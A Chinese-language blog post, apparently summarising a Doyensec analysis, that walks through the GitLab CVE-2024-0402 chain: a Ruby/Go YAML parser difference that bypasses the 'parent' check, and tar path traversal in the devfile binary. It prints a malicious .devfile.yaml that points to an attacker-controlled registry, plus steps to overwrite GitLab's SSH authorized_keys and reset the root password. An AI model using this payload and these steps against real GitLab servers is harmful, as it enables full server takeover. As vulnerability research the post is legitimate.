GitLab CVE-2024-0402漏洞利用全解析 - 从YAML解析差异到任意文件写入

本文详细分析了GitLab CVE-2024-0402漏洞链的完整利用过程,包括YAML解析器差异绕过验证、路径遍历实现任意文件写入,最终通过SSH密钥替换获取GitLab服务器完全控制权限的技术细节。

引言

Doyensec在地中海游轮公司团建期间,通过分析真实世界漏洞创作了!exploitable系列博客文章。本篇文章将深入分析GitLab中CVE-2024-0402的漏洞利用过程。

漏洞背景

该漏洞影响GitLab Workspaces功能,该功能允许开发者快速启动包含所有依赖、工具和配置的集成开发环境(IDE)。整个Workspaces功能依赖于多个组件,包括运行的Kubernetes GitLab Agent和devfile配置。

漏洞组件

  • Kubernetes GitLab Agent: 连接GitLab与Kubernetes集群,支持Workspaces创建
  • Devfile: 定义容器化开发环境的开放标准,使用YAML文件配置

漏洞分析

验证绕过

GitLab使用devfile Gem调用外部devfile二进制文件处理.devfile.yaml文件。在Workspace创建过程中,PreFlattenDevfileValidator会调用validate_parent验证器:

1
2
3
4
5
def self.validate_parent(value)
  value => { devfile: Hash => devfile }
  return err(_("Inheriting from 'parent' is not yet supported")) if devfile['parent']
  Result.ok(value)
end

YAML解析器差异利用

通过YAML解析器在Ruby和Go实现中的差异实现验证绕过:

  • Ruby的YAML库会处理!binary标签并进行base64解码
  • Go的yaml.v3库会直接忽略!binary标签
1
2
normalk: just a value
!binary parent: got injected

任意文件写入

在devfile二进制文件的解压函数中发现路径遍历漏洞:

1
2
3
4
5
func decompress(targetDir string, tarFile string, excludeFiles []string) error {
    // ...
    target := path.Join(targetDir, filepath.Clean(header.Name))
    // ...
}

filepath.Clean无法阻止相对路径的路径遍历:

1
2
fmt.Println(filepath.Clean("/../../../../../../../tmp/test")) // 返回: /tmp/test
fmt.Println(filepath.Clean("../../../../../../../tmp/test"))  // 返回: ../../../../../../../tmp/test

漏洞利用链

  1. 部署恶意devfile注册表,包含利用路径遍历的.tar文件
  2. 制作特殊.devfile.yaml,利用YAML解析差异指向恶意注册表
  3. 触发Workspace创建,执行任意文件写入

环境配置

  • GitLab 16.8.0及以下版本
  • 正确配置Workspaces功能
  • 开发者权限访问GitLab

利用步骤

  1. 构建恶意注册表

    • stacks/nodejs/2.2.1/archive.tar位置放置恶意tar文件
    • 使用evilarc.py创建包含路径遍历的存档
  2. 制作恶意.devfile.yaml

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
schemaVersion: 2.2.0
!binary parent:
    id: nodejs
    registryUrl: http://<MALICIOUS_REGISTRY>:<PORT>
components:
  - name: development-environment
    attributes:
      gl/inject-editor: true
    container:
      image: "registry.gitlab.com/gitlab-org/..."
  1. 权限提升
    • 覆盖/var/opt/gitlab/.ssh/authorized_keys文件
    • 添加无限制SSH密钥
    • 通过GitLab Rails控制台重置root用户密码

结论

CVE-2024-0402展示了复杂的漏洞链利用,从YAML解析差异到路径遍历最终实现任意文件写入。尽管配置环境存在挑战,但成功构建了完整的PoC证明漏洞的可利用性。

资源

  • Devfile安全技术笔记
  • 自定义devfile注册表构建指南
comments powered by Disqus
使用 Hugo 构建
主题 StackJimmy 设计